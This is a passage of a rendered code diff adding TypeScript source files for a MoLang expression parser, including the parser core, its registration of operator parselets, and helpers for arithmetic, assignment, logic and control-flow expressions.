 | 
							return this.thenExpression.isReturn || this.elseExpression.isReturn
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						get isContinue() {
 | 
				
			||||||
 | 
							if (this.leftResult === undefined)
 | 
				
			||||||
 | 
								return (
 | 
				
			||||||
 | 
									this.thenExpression.isContinue && this.elseExpression.isContinue
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
							return this.leftResult
 | 
				
			||||||
 | 
								? this.thenExpression.isContinue
 | 
				
			||||||
 | 
								: this.elseExpression.isContinue
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						get isBreak() {
 | 
				
			||||||
 | 
							if (this.leftResult === undefined)
 | 
				
			||||||
 | 
								return this.thenExpression.isBreak && this.elseExpression.isBreak
 | 
				
			||||||
 | 
							return this.leftResult
 | 
				
			||||||
 | 
								? this.thenExpression.isBreak
 | 
				
			||||||
 | 
								: this.elseExpression.isBreak
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						isStatic() {
 | 
				
			||||||
 | 
							return (
 | 
				
			||||||
 | 
								this.leftExpression.isStatic() &&
 | 
				
			||||||
 | 
								this.thenExpression.isStatic() &&
 | 
				
			||||||
 | 
								this.elseExpression.isStatic()
 | 
				
			||||||
 | 
							)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						eval() {
 | 
				
			||||||
 | 
							this.leftResult = this.leftExpression.eval()
 | 
				
			||||||
 | 
							return this.leftResult
 | 
				
			||||||
 | 
								? this.thenExpression.eval()
 | 
				
			||||||
 | 
								: this.elseExpression.eval()
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						toString() {
 | 
				
			||||||
 | 
							if (this.elseExpression instanceof VoidExpression)
 | 
				
			||||||
 | 
								return `${this.leftExpression.toString()}?${this.thenExpression.toString()}`
 | 
				
			||||||
 | 
							return `${this.leftExpression.toString()}?${this.thenExpression.toString()}:${this.elseExpression.toString()}`
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										21
									
								
								packages/molang/src/parser/expressions/void.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										21
									
								
								packages/molang/src/parser/expressions/void.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,21 @@
 | 
				
			|||||||
 | 
					import { Expression } from '../expression'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class VoidExpression extends Expression {
 | 
				
			||||||
 | 
						type = 'VoidExpression'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						get allExpressions() {
 | 
				
			||||||
 | 
							return []
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						setExpressionAt() {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						isStatic() {
 | 
				
			||||||
 | 
							return true
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						eval() {
 | 
				
			||||||
 | 
							return 0
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						toString() {
 | 
				
			||||||
 | 
							return ''
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										88
									
								
								packages/molang/src/parser/molang.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										88
									
								
								packages/molang/src/parser/molang.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,88 @@
 | 
				
			|||||||
 | 
					import { Parser } from './parse'
 | 
				
			||||||
 | 
					import { BinaryOperator } from './parselets/binaryOperator'
 | 
				
			||||||
 | 
					import { EPrecedence } from './precedence'
 | 
				
			||||||
 | 
					import { PrefixOperator } from './parselets/prefix'
 | 
				
			||||||
 | 
					import { NumberParselet } from './parselets/number'
 | 
				
			||||||
 | 
					import { NameParselet } from './parselets/name'
 | 
				
			||||||
 | 
					import { GroupParselet } from './parselets/groupParselet'
 | 
				
			||||||
 | 
					import { ReturnParselet } from './parselets/return'
 | 
				
			||||||
 | 
					import { StatementParselet } from './parselets/statement'
 | 
				
			||||||
 | 
					import { StringParselet } from './parselets/string'
 | 
				
			||||||
 | 
					import { FunctionParselet } from './parselets/function'
 | 
				
			||||||
 | 
					import { ArrayAccessParselet } from './parselets/arrayAccess'
 | 
				
			||||||
 | 
					import { ScopeParselet } from './parselets/scope'
 | 
				
			||||||
 | 
					import { LoopParselet } from './parselets/loop'
 | 
				
			||||||
 | 
					import { ForEachParselet } from './parselets/forEach'
 | 
				
			||||||
 | 
					import { ContinueParselet } from './parselets/continue'
 | 
				
			||||||
 | 
					import { BreakParselet } from './parselets/break'
 | 
				
			||||||
 | 
					import { BooleanParselet } from './parselets/boolean'
 | 
				
			||||||
 | 
					import { IParserConfig } from '../main'
 | 
				
			||||||
 | 
					import { EqualsOperator } from './parselets/equals'
 | 
				
			||||||
 | 
					import { NotEqualsOperator } from './parselets/notEquals'
 | 
				
			||||||
 | 
					import { AndOperator } from './parselets/andOperator'
 | 
				
			||||||
 | 
					import { OrOperator } from './parselets/orOperator'
 | 
				
			||||||
 | 
					import { SmallerOperator } from './parselets/smallerOperator'
 | 
				
			||||||
 | 
					import { GreaterOperator } from './parselets/greaterOperator'
 | 
				
			||||||
 | 
					import { QuestionOperator } from './parselets/questionOperator'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class MoLangParser extends Parser {
 | 
				
			||||||
 | 
						constructor(config: Partial<IParserConfig>) {
 | 
				
			||||||
 | 
							super(config)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							//Special parselets
 | 
				
			||||||
 | 
							this.registerPrefix('NAME', new NameParselet())
 | 
				
			||||||
 | 
							this.registerPrefix('STRING', new StringParselet())
 | 
				
			||||||
 | 
							this.registerPrefix('NUMBER', new NumberParselet())
 | 
				
			||||||
 | 
							this.registerPrefix('TRUE', new BooleanParselet(EPrecedence.PREFIX))
 | 
				
			||||||
 | 
							this.registerPrefix('FALSE', new BooleanParselet(EPrecedence.PREFIX))
 | 
				
			||||||
 | 
							this.registerPrefix('RETURN', new ReturnParselet())
 | 
				
			||||||
 | 
							this.registerPrefix('CONTINUE', new ContinueParselet())
 | 
				
			||||||
 | 
							this.registerPrefix('BREAK', new BreakParselet())
 | 
				
			||||||
 | 
							this.registerPrefix('LOOP', new LoopParselet())
 | 
				
			||||||
 | 
							this.registerPrefix('FOR_EACH', new ForEachParselet())
 | 
				
			||||||
 | 
							this.registerInfix(
 | 
				
			||||||
 | 
								'QUESTION',
 | 
				
			||||||
 | 
								new QuestionOperator(EPrecedence.CONDITIONAL)
 | 
				
			||||||
 | 
							)
 | 
				
			||||||
 | 
							this.registerPrefix('LEFT_PARENT', new GroupParselet())
 | 
				
			||||||
 | 
							this.registerInfix(
 | 
				
			||||||
 | 
								'LEFT_PARENT',
 | 
				
			||||||
 | 
								new FunctionParselet(EPrecedence.FUNCTION)
 | 
				
			||||||
 | 
							)
 | 
				
			||||||
 | 
							this.registerInfix(
 | 
				
			||||||
 | 
								'ARRAY_LEFT',
 | 
				
			||||||
 | 
								new ArrayAccessParselet(EPrecedence.ARRAY_ACCESS)
 | 
				
			||||||
 | 
							)
 | 
				
			||||||
 | 
							this.registerPrefix('CURLY_LEFT', new ScopeParselet(EPrecedence.SCOPE))
 | 
				
			||||||
 | 
							this.registerInfix(
 | 
				
			||||||
 | 
								'SEMICOLON',
 | 
				
			||||||
 | 
								new StatementParselet(EPrecedence.STATEMENT)
 | 
				
			||||||
 | 
							)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							//Prefix parselets
 | 
				
			||||||
 | 
							this.registerPrefix('MINUS', new PrefixOperator(EPrecedence.PREFIX))
 | 
				
			||||||
 | 
							this.registerPrefix('BANG', new PrefixOperator(EPrecedence.PREFIX))
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							//Postfix parselets
 | 
				
			||||||
 | 
							//Nothing here yet
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							//Infix parselets
 | 
				
			||||||
 | 
							this.registerInfix('PLUS', new BinaryOperator(EPrecedence.SUM))
 | 
				
			||||||
 | 
							this.registerInfix('MINUS', new BinaryOperator(EPrecedence.SUM))
 | 
				
			||||||
 | 
							this.registerInfix('ASTERISK', new BinaryOperator(EPrecedence.PRODUCT))
 | 
				
			||||||
 | 
							this.registerInfix('SLASH', new BinaryOperator(EPrecedence.PRODUCT))
 | 
				
			||||||
 | 
							this.registerInfix(
 | 
				
			||||||
 | 
								'EQUALS',
 | 
				
			||||||
 | 
								new EqualsOperator(EPrecedence.EQUALS_COMPARE)
 | 
				
			||||||
 | 
							)
 | 
				
			||||||
 | 
							this.registerInfix(
 | 
				
			||||||
 | 
								'BANG',
 | 
				
			||||||
 | 
								new NotEqualsOperator(EPrecedence.EQUALS_COMPARE)
 | 
				
			||||||
 | 
							)
 | 
				
			||||||
 | 
							this.registerInfix('GREATER', new GreaterOperator(EPrecedence.COMPARE))
 | 
				
			||||||
 | 
							this.registerInfix('SMALLER', new SmallerOperator(EPrecedence.COMPARE))
 | 
				
			||||||
 | 
							this.registerInfix('AND', new AndOperator(EPrecedence.AND))
 | 
				
			||||||
 | 
							this.registerInfix('OR', new OrOperator(EPrecedence.OR))
 | 
				
			||||||
 | 
							this.registerInfix('ASSIGN', new BinaryOperator(EPrecedence.ASSIGNMENT))
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										118
									
								
								packages/molang/src/parser/parse.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										118
									
								
								packages/molang/src/parser/parse.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,118 @@
 | 
				
			|||||||
 | 
					import { Tokenizer } from '../tokenizer/Tokenizer'
 | 
				
			||||||
 | 
					import { TTokenType, Token } from '../tokenizer/token'
 | 
				
			||||||
 | 
					import { IPrefixParselet } from './parselets/prefix'
 | 
				
			||||||
 | 
					import { IInfixParselet } from './parselets/infix'
 | 
				
			||||||
 | 
					import { IExpression } from './expression'
 | 
				
			||||||
 | 
					import { ExecutionEnvironment } from '../env/env'
 | 
				
			||||||
 | 
					import { IParserConfig } from '../main'
 | 
				
			||||||
 | 
					import { VoidExpression } from './expressions/void'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class Parser {
 | 
				
			||||||
 | 
						protected prefixParselets = new Map<TTokenType, IPrefixParselet>()
 | 
				
			||||||
 | 
						protected infixParselets = new Map<TTokenType, IInfixParselet>()
 | 
				
			||||||
 | 
						protected readTokens: Token[] = []
 | 
				
			||||||
 | 
						protected tokenIterator = new Tokenizer()
 | 
				
			||||||
 | 
						executionEnv!: ExecutionEnvironment
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						constructor(public config: Partial<IParserConfig>) {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						updateConfig(config: Partial<IParserConfig>) {
 | 
				
			||||||
 | 
							this.config = config
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						init(expression: string) {
 | 
				
			||||||
 | 
							this.tokenIterator.init(expression)
 | 
				
			||||||
 | 
							this.readTokens = []
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						setTokenizer(tokenizer: Tokenizer) {
 | 
				
			||||||
 | 
							this.tokenIterator = tokenizer
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						setExecutionEnvironment(executionEnv: ExecutionEnvironment) {
 | 
				
			||||||
 | 
							this.executionEnv = executionEnv
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						parseExpression(precedence = 0): IExpression {
 | 
				
			||||||
 | 
							let token = this.consume()
 | 
				
			||||||
 | 
							if (token.getType() === 'EOF') return new VoidExpression()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							const prefix = this.prefixParselets.get(token.getType())
 | 
				
			||||||
 | 
							if (!prefix) {
 | 
				
			||||||
 | 
								throw new Error(
 | 
				
			||||||
 | 
									`Cannot parse ${token.getType()} expression "${token.getType()}"`
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							let expressionLeft = prefix.parse(this, token)
 | 
				
			||||||
 | 
							return this.parseInfixExpression(expressionLeft, precedence)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						parseInfixExpression(expressionLeft: IExpression, precedence = 0) {
 | 
				
			||||||
 | 
							let token
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							while (this.getPrecedence() > precedence) {
 | 
				
			||||||
 | 
								token = this.consume()
 | 
				
			||||||
 | 
								let tokenType = token.getType()
 | 
				
			||||||
 | 
								if (tokenType === 'EQUALS' && !this.match('EQUALS')) {
 | 
				
			||||||
 | 
									tokenType = 'ASSIGN'
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								const infix = <IInfixParselet>this.infixParselets.get(tokenType)
 | 
				
			||||||
 | 
								if (!infix)
 | 
				
			||||||
 | 
									throw new Error(`Unknown infix parselet: "${tokenType}"`)
 | 
				
			||||||
 | 
								expressionLeft = infix.parse(this, expressionLeft, token)
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							return expressionLeft
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						getPrecedence() {
 | 
				
			||||||
 | 
							const parselet = this.infixParselets.get(this.lookAhead(0).getType())
 | 
				
			||||||
 | 
							return parselet?.precedence ?? 0
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						consume(expected?: TTokenType) {
 | 
				
			||||||
 | 
							//Sets the lastLineNumber & startColumn before consuming next token
 | 
				
			||||||
 | 
							//Used for getting the exact location an error occurs
 | 
				
			||||||
 | 
							// this.tokenIterator.step()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							const token = this.lookAhead(0)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if (expected && token.getType() !== expected) {
 | 
				
			||||||
 | 
								throw new Error(
 | 
				
			||||||
 | 
									`Expected token "${expected}" and found "${token.getType()}"`
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							this.readTokens.shift()!
 | 
				
			||||||
 | 
							return token
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						match(expected: TTokenType, consume = true) {
 | 
				
			||||||
 | 
							const token = this.lookAhead(0)
 | 
				
			||||||
 | 
							if (token.getType() !== expected) return false
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if (consume) this.consume()
 | 
				
			||||||
 | 
							return true
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						lookAhead(distance: number) {
 | 
				
			||||||
 | 
							while (distance >= this.readTokens.length)
 | 
				
			||||||
 | 
								this.readTokens.push(this.tokenIterator.next())
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							return this.readTokens[distance]
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						registerInfix(tokenType: TTokenType, infixParselet: IInfixParselet) {
 | 
				
			||||||
 | 
							this.infixParselets.set(tokenType, infixParselet)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						registerPrefix(tokenType: TTokenType, prefixParselet: IPrefixParselet) {
 | 
				
			||||||
 | 
							this.prefixParselets.set(tokenType, prefixParselet)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						getInfix(tokenType: TTokenType) {
 | 
				
			||||||
 | 
							return this.infixParselets.get(tokenType)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						getPrefix(tokenType: TTokenType) {
 | 
				
			||||||
 | 
							return this.prefixParselets.get(tokenType)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										21
									
								
								packages/molang/src/parser/parselets/andOperator.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										21
									
								
								packages/molang/src/parser/parselets/andOperator.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,21 @@
 | 
				
			|||||||
 | 
					import { Parser } from '../parse'
 | 
				
			||||||
 | 
					import { Token } from '../../tokenizer/token'
 | 
				
			||||||
 | 
					import { IExpression } from '../expression'
 | 
				
			||||||
 | 
					import { GenericOperatorExpression } from '../expressions/genericOperator'
 | 
				
			||||||
 | 
					import { IInfixParselet } from './infix'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class AndOperator implements IInfixParselet {
 | 
				
			||||||
 | 
						constructor(public precedence = 0) {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						parse(parser: Parser, leftExpression: IExpression, token: Token) {
 | 
				
			||||||
 | 
							if (parser.match('AND'))
 | 
				
			||||||
 | 
								return new GenericOperatorExpression(
 | 
				
			||||||
 | 
									leftExpression,
 | 
				
			||||||
 | 
									parser.parseExpression(this.precedence),
 | 
				
			||||||
 | 
									'&&',
 | 
				
			||||||
 | 
									(leftExpression: IExpression, rightExpression: IExpression) =>
 | 
				
			||||||
 | 
										leftExpression.eval() && rightExpression.eval()
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
							else throw new Error(`"&" not followed by another "&"`)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										22
									
								
								packages/molang/src/parser/parselets/arrayAccess.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										22
									
								
								packages/molang/src/parser/parselets/arrayAccess.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,22 @@
 | 
				
			|||||||
 | 
					import { Token } from '../../tokenizer/token'
 | 
				
			||||||
 | 
					import { Parser } from '../parse'
 | 
				
			||||||
 | 
					import { IInfixParselet } from './infix'
 | 
				
			||||||
 | 
					import { IExpression } from '../expression'
 | 
				
			||||||
 | 
					import { ArrayAccessExpression } from '../expressions/arrayAccess'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class ArrayAccessParselet implements IInfixParselet {
 | 
				
			||||||
 | 
						constructor(public precedence = 0) {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						parse(parser: Parser, left: IExpression, token: Token) {
 | 
				
			||||||
 | 
							const expr = parser.parseExpression(this.precedence - 1)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if (!left.setPointer) throw new Error(`"${left.type}" is not an array`)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if (!parser.match('ARRAY_RIGHT'))
 | 
				
			||||||
 | 
								throw new Error(
 | 
				
			||||||
 | 
									`No closing bracket for opening bracket "[${expr.eval()}"`
 | 
				
			||||||
 | 
								)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							return new ArrayAccessExpression(left, expr)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										134
									
								
								packages/molang/src/parser/parselets/binaryOperator.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										134
									
								
								packages/molang/src/parser/parselets/binaryOperator.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,134 @@
 | 
				
			|||||||
 | 
					import { IInfixParselet } from './infix'
 | 
				
			||||||
 | 
					import { Parser } from '../parse'
 | 
				
			||||||
 | 
					import { IExpression } from '../expression'
 | 
				
			||||||
 | 
					import { Token } from '../../tokenizer/token'
 | 
				
			||||||
 | 
					import { GenericOperatorExpression } from '../expressions/genericOperator'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					const plusHelper = (
 | 
				
			||||||
 | 
						leftExpression: IExpression,
 | 
				
			||||||
 | 
						rightExpression: IExpression
 | 
				
			||||||
 | 
					) => {
 | 
				
			||||||
 | 
						const leftValue = leftExpression.eval()
 | 
				
			||||||
 | 
						const rightValue = rightExpression.eval()
 | 
				
			||||||
 | 
						if (
 | 
				
			||||||
 | 
							!(typeof leftValue === 'number' || typeof leftValue === 'boolean') ||
 | 
				
			||||||
 | 
							!(typeof rightValue === 'number' || typeof rightValue === 'boolean')
 | 
				
			||||||
 | 
						)
 | 
				
			||||||
 | 
							throw new Error(
 | 
				
			||||||
 | 
								`Cannot use numeric operators for expression "${leftValue} + ${rightValue}"`
 | 
				
			||||||
 | 
							)
 | 
				
			||||||
 | 
						//@ts-ignore
 | 
				
			||||||
 | 
						return leftValue + rightValue
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					const minusHelper = (
 | 
				
			||||||
 | 
						leftExpression: IExpression,
 | 
				
			||||||
 | 
						rightExpression: IExpression
 | 
				
			||||||
 | 
					) => {
 | 
				
			||||||
 | 
						const leftValue = leftExpression.eval()
 | 
				
			||||||
 | 
						const rightValue = rightExpression.eval()
 | 
				
			||||||
 | 
						if (
 | 
				
			||||||
 | 
							!(typeof leftValue === 'number' || typeof leftValue === 'boolean') ||
 | 
				
			||||||
 | 
							!(typeof rightValue === 'number' || typeof rightValue === 'boolean')
 | 
				
			||||||
 | 
						)
 | 
				
			||||||
 | 
							throw new Error(
 | 
				
			||||||
 | 
								`Cannot use numeric operators for expression "${leftValue} - ${rightValue}"`
 | 
				
			||||||
 | 
							)
 | 
				
			||||||
 | 
						//@ts-ignore
 | 
				
			||||||
 | 
						return leftValue - rightValue
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					const divideHelper = (
 | 
				
			||||||
 | 
						leftExpression: IExpression,
 | 
				
			||||||
 | 
						rightExpression: IExpression
 | 
				
			||||||
 | 
					) => {
 | 
				
			||||||
 | 
						const leftValue = leftExpression.eval()
 | 
				
			||||||
 | 
						const rightValue = rightExpression.eval()
 | 
				
			||||||
 | 
						if (
 | 
				
			||||||
 | 
							!(typeof leftValue === 'number' || typeof leftValue === 'boolean') ||
 | 
				
			||||||
 | 
							!(typeof rightValue === 'number' || typeof rightValue === 'boolean')
 | 
				
			||||||
 | 
						)
 | 
				
			||||||
 | 
							throw new Error(
 | 
				
			||||||
 | 
								`Cannot use numeric operators for expression "${leftValue} / ${rightValue}"`
 | 
				
			||||||
 | 
							)
 | 
				
			||||||
 | 
						//@ts-ignore
 | 
				
			||||||
 | 
						return leftValue / rightValue
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					const multiplyHelper = (
 | 
				
			||||||
 | 
						leftExpression: IExpression,
 | 
				
			||||||
 | 
						rightExpression: IExpression
 | 
				
			||||||
 | 
					) => {
 | 
				
			||||||
 | 
						const leftValue = leftExpression.eval()
 | 
				
			||||||
 | 
						const rightValue = rightExpression.eval()
 | 
				
			||||||
 | 
						if (
 | 
				
			||||||
 | 
							!(typeof leftValue === 'number' || typeof leftValue === 'boolean') ||
 | 
				
			||||||
 | 
							!(typeof rightValue === 'number' || typeof rightValue === 'boolean')
 | 
				
			||||||
 | 
						)
 | 
				
			||||||
 | 
							throw new Error(
 | 
				
			||||||
 | 
								`Cannot use numeric operators for expression "${leftValue} * ${rightValue}"`
 | 
				
			||||||
 | 
							)
 | 
				
			||||||
 | 
						//@ts-ignore
 | 
				
			||||||
 | 
						return leftValue * rightValue
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					const assignHelper = (
 | 
				
			||||||
 | 
						leftExpression: IExpression,
 | 
				
			||||||
 | 
						rightExpression: IExpression
 | 
				
			||||||
 | 
					) => {
 | 
				
			||||||
 | 
						if (leftExpression.setPointer) {
 | 
				
			||||||
 | 
							leftExpression.setPointer(rightExpression.eval())
 | 
				
			||||||
 | 
							return 0
 | 
				
			||||||
 | 
						} else {
 | 
				
			||||||
 | 
							throw Error(`Cannot assign to ${leftExpression.type}`)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class BinaryOperator implements IInfixParselet {
 | 
				
			||||||
 | 
						constructor(public precedence = 0) {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						parse(parser: Parser, leftExpression: IExpression, token: Token) {
 | 
				
			||||||
 | 
							const rightExpression = parser.parseExpression(this.precedence)
 | 
				
			||||||
 | 
							// return new AdditionExpression(leftExpression, rightExpression)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							const tokenText = token.getText()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							switch (tokenText) {
 | 
				
			||||||
 | 
								case '+':
 | 
				
			||||||
 | 
									return new GenericOperatorExpression(
 | 
				
			||||||
 | 
										leftExpression,
 | 
				
			||||||
 | 
										rightExpression,
 | 
				
			||||||
 | 
										tokenText,
 | 
				
			||||||
 | 
										plusHelper
 | 
				
			||||||
 | 
									)
 | 
				
			||||||
 | 
								case '-':
 | 
				
			||||||
 | 
									return new GenericOperatorExpression(
 | 
				
			||||||
 | 
										leftExpression,
 | 
				
			||||||
 | 
										rightExpression,
 | 
				
			||||||
 | 
										tokenText,
 | 
				
			||||||
 | 
										minusHelper
 | 
				
			||||||
 | 
									)
 | 
				
			||||||
 | 
								case '*':
 | 
				
			||||||
 | 
									return new GenericOperatorExpression(
 | 
				
			||||||
 | 
										leftExpression,
 | 
				
			||||||
 | 
										rightExpression,
 | 
				
			||||||
 | 
										tokenText,
 | 
				
			||||||
 | 
										multiplyHelper
 | 
				
			||||||
 | 
									)
 | 
				
			||||||
 | 
								case '/':
 | 
				
			||||||
 | 
									return new GenericOperatorExpression(
 | 
				
			||||||
 | 
										leftExpression,
 | 
				
			||||||
 | 
										rightExpression,
 | 
				
			||||||
 | 
										tokenText,
 | 
				
			||||||
 | 
										divideHelper
 | 
				
			||||||
 | 
									)
 | 
				
			||||||
 | 
								case '=': {
 | 
				
			||||||
 | 
									return new GenericOperatorExpression(
 | 
				
			||||||
 | 
										leftExpression,
 | 
				
			||||||
 | 
										rightExpression,
 | 
				
			||||||
 | 
										'=',
 | 
				
			||||||
 | 
										assignHelper
 | 
				
			||||||
 | 
									)
 | 
				
			||||||
 | 
								}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
								default:
 | 
				
			||||||
 | 
									throw new Error(`Operator not implemented`)
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										12
									
								
								packages/molang/src/parser/parselets/boolean.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										12
									
								
								packages/molang/src/parser/parselets/boolean.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,12 @@
 | 
				
			|||||||
 | 
					import { IPrefixParselet } from './prefix'
 | 
				
			||||||
 | 
					import { Token } from '../../tokenizer/token'
 | 
				
			||||||
 | 
					import { Parser } from '../parse'
 | 
				
			||||||
 | 
					import { BooleanExpression } from '../expressions/boolean'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class BooleanParselet implements IPrefixParselet {
 | 
				
			||||||
 | 
						constructor(public precedence = 0) {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						parse(parser: Parser, token: Token) {
 | 
				
			||||||
 | 
							return new BooleanExpression(token.getText() === 'true')
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										12
									
								
								packages/molang/src/parser/parselets/break.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										12
									
								
								packages/molang/src/parser/parselets/break.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,12 @@
 | 
				
			|||||||
 | 
					import { Parser } from '../parse'
 | 
				
			||||||
 | 
					import { Token } from '../../tokenizer/token'
 | 
				
			||||||
 | 
					import { IPrefixParselet } from './prefix'
 | 
				
			||||||
 | 
					import { BreakExpression } from '../expressions/break'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class BreakParselet implements IPrefixParselet {
 | 
				
			||||||
 | 
						constructor(public precedence = 0) {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						parse(parser: Parser, token: Token) {
 | 
				
			||||||
 | 
							return new BreakExpression()
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										12
									
								
								packages/molang/src/parser/parselets/continue.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										12
									
								
								packages/molang/src/parser/parselets/continue.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,12 @@
 | 
				
			|||||||
 | 
					import { Parser } from '../parse'
 | 
				
			||||||
 | 
					import { Token } from '../../tokenizer/token'
 | 
				
			||||||
 | 
					import { IPrefixParselet } from './prefix'
 | 
				
			||||||
 | 
					import { ContinueExpression } from '../expressions/continue'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class ContinueParselet implements IPrefixParselet {
 | 
				
			||||||
 | 
						constructor(public precedence = 0) {}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						parse(parser: Parser, token: Token) {
 | 
				
			||||||
 | 
							return new ContinueExpression()
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										19
									
								
								packages/molang/src/parser/parselets/equals.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										19
									
								
